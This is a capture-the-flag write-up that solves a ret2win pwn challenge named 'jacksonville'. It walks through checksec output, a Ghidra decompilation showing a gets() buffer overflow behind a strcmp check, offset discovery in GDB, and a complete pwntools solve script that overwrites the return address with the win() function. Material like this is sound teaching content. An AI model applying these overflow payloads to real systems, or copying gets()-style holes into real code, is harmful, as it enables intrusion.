Download the binary here


My go-to process for binary exploitation (pwn) challenges is:

  1. Check Security (checksec or the file command)
  2. Dogbolt / Ghidra
  3. pwntools (see above link)

Step 1: Security

The output of checksec was:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'$ORIGIN'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

The critical values we’re looking for are:

  • “Stack” (no canary is good)
  • “NX” (NX enabled means we can’t execute instructions on the stack)
  • PIE (no PIE means the binary’s functions will be at at the same memory addresses every time).

The good news is that we don’t have to worry about stack canaries and if we can find a buffer overflow, then we should be able to return to any function in the program we want.

Most simple pwn challenges should be immediately obvious after some testing what vulnerability you’re targeting, but to save us the headache when this isn’t the case, we’ll load it into Ghidra to get a better feel for what this program does before we run it.

Step 2: Reverse Engineering

I am using Ghidra 11.4.2 at the time of this article and after the default “Auto Analyze” it will automatically find main(), which jumps directly into vuln(), the decompilation of which is shown below:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
void vuln(void)

{
  int iVar1;
  char local_68 [96];
  
  local_68[0] = '\0';
  local_68[1] = '\0';
  local_68[2] = '\0';
  local_68[3] = '\0';
  local_68[4] = '\0';
  local_68[5] = '\0';
  local_68[6] = '\0';
  local_68[7] = '\0';
  local_68[8] = '\0';
  local_68[9] = '\0';
  local_68[10] = '\0';
  local_68[0xb] = '\0';
  local_68[0xc] = '\0';
  local_68[0xd] = '\0';
  local_68[0xe] = '\0';
  local_68[0xf] = '\0';
  local_68[0x10] = '\0';
  local_68[0x11] = '\0';
  local_68[0x12] = '\0';
  local_68[0x13] = '\0';
  local_68[0x14] = '\0';
  local_68[0x15] = '\0';
  local_68[0x16] = '\0';
  local_68[0x17] = '\0';
  local_68[0x18] = '\0';
  local_68[0x19] = '\0';
  local_68[0x1a] = '\0';
  local_68[0x1b] = '\0';
  local_68[0x1c] = '\0';
  local_68[0x1d] = '\0';
  local_68[0x1e] = '\0';
  local_68[0x1f] = '\0';
  local_68[0x20] = '\0';
  local_68[0x21] = '\0';
  local_68[0x22] = '\0';
  local_68[0x23] = '\0';
  local_68[0x24] = '\0';
  local_68[0x25] = '\0';
  local_68[0x26] = '\0';
  local_68[0x27] = '\0';
  local_68[0x28] = '\0';
  local_68[0x29] = '\0';
  local_68[0x2a] = '\0';
  local_68[0x2b] = '\0';
  local_68[0x2c] = '\0';
  local_68[0x2d] = '\0';
  local_68[0x2e] = '\0';
  local_68[0x2f] = '\0';
  local_68[0x30] = '\0';
  local_68[0x31] = '\0';
  local_68[0x32] = '\0';
  local_68[0x33] = '\0';
  local_68[0x34] = '\0';
  local_68[0x35] = '\0';
  local_68[0x36] = '\0';
  local_68[0x37] = '\0';
  local_68[0x38] = '\0';
  local_68[0x39] = '\0';
  local_68[0x3a] = '\0';
  local_68[0x3b] = '\0';
  local_68[0x3c] = '\0';
  local_68[0x3d] = '\0';
  local_68[0x3e] = '\0';
  local_68[0x3f] = '\0';
  local_68[0x40] = '\0';
  local_68[0x41] = '\0';
  local_68[0x42] = '\0';
  local_68[0x43] = '\0';
  local_68[0x44] = '\0';
  local_68[0x45] = '\0';
  local_68[0x46] = '\0';
  local_68[0x47] = '\0';
  local_68[0x48] = 0;
  local_68[0x49] = '\0';
  local_68[0x4a] = '\0';
  local_68[0x4b] = '\0';
  local_68[0x4c] = '\0';
  local_68[0x4d] = '\0';
  local_68[0x4e] = '\0';
  local_68[0x4f] = '\0';
  local_68[0x50] = 0;
  local_68[0x51] = '\0';
  local_68[0x52] = '\0';
  local_68[0x53] = '\0';
  local_68[0x54] = '\0';
  local_68[0x55] = '\0';
  local_68[0x56] = '\0';
  local_68[0x57] = '\0';
  local_68[0x58] = '\0';
  printf("What\'s the best Florida football team?\n> ");
  gets(local_68);
  iVar1 = strcmp(local_68 + 6,"Jaguars");
  if (iVar1 != 0) {
    puts("WRONG ANSWER!!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}

Clearly there is some weirdness going on, but the code is overall not very complicated. We can see a strcmp() between a variable “local_68” (+6) and the string “Jaguars”, if the strcmp() fails, then it will call exit(). Because a buffer overflow “ret2” attack relies on our stack address to be pop’d off the stack, calling exit() aptly exits the program without ever technically leaving main(), which means we will have to pass the strcmp() check.

There is also a gets(local_68), so we can safely assume that local_68 is input and tidy up the Ghidra code since the previous lines simply zero-out the input buffer.

Before we get too far ahead, there is a win() function that gives us shell access (which we can get the flag pretty quickly afterwards), which is why this is a ret2win challenge. If we can get the program to call win(), then we’ll get the flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void vuln(void)

{
  int strcmpCheck;
  char input [96];

  printf("What\'s the best Florida football team?\n> ");
  gets(input);
  strcmpCheck = strcmp(input + 6,"Jaguars");
  if (strcmpCheck != 0) {
    puts("WRONG ANSWER!!");
    exit(1);
  }
  return;
}

btw, the gets() is a dead-giveaway that this is a buffer overflow vulnerability, go read the man page for it.

Looks like we can buffer overflow so long as the 6th position onward has the string “Jaguars” in it. Knowing that, we can start testing the binary live.

$ ./jacksonville
What's the best Florida football team?
> FSU
WRONG ANSWER!!
$ ./jacksonville
What's the best Florida football team?
> Jaguars
WRONG ANSWER!!
$ ./jacksonville
What's the best Florida football team?
> ------Jaguars
$ [Return code was 0]

Now we load it into GDB, put a breakpoint on the JE instruction after the strcmp() call (vuln + 0xad) and load a De Bruijn sequence to find our offset (I use pwntools’ cyclic but there’s also a neat website). A length of 128 should work since Ghidra tells us our buffer is 96-wide.

Once you hit the breakpoint, jump to the address the instruction points to and the pattern should be in the $RSP register since this a 64-bit program. I got the offset 104, which means we can make our solve script.

Step 3: Pwntools

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *


# This is stuff I like to do for my solve scripts, not *technically* necessary for the challenge
exe = ELF('./jacksonville', checksec=False)
context.binary = exe
context.terminal = ["tmux", "splitw", "-v"]

if args.REMOTE:
    r = remote('chal.sunshinectf.games', 25602)
else:
    r = process([exe.path])
    if args.GDB:
        gdb.attach(r, gdbscript='''
        c
        ''')

# Actual work here

offset = 104
ret_op = 0x40116f # Programs don't like it when the stack is not 16-byte aligned, so we need an even number of things on the stack when we overflow.
payload = flat({
    0: b"------Jaguars\0", # Terminate with \0 to trick strcmp() into ignoring our buffer overflow
    104: [ret_op, exe.sym['win']] # ret2win
})
r.sendline(payload)
r.interactive()

This was a very simple pwn challenge, but it’s a good example why you can’t immediately jump into black-box testing when you’re given the binary (and even more so if you were given the source). There are challenges where those skills are required, but they’re harder for a reason :)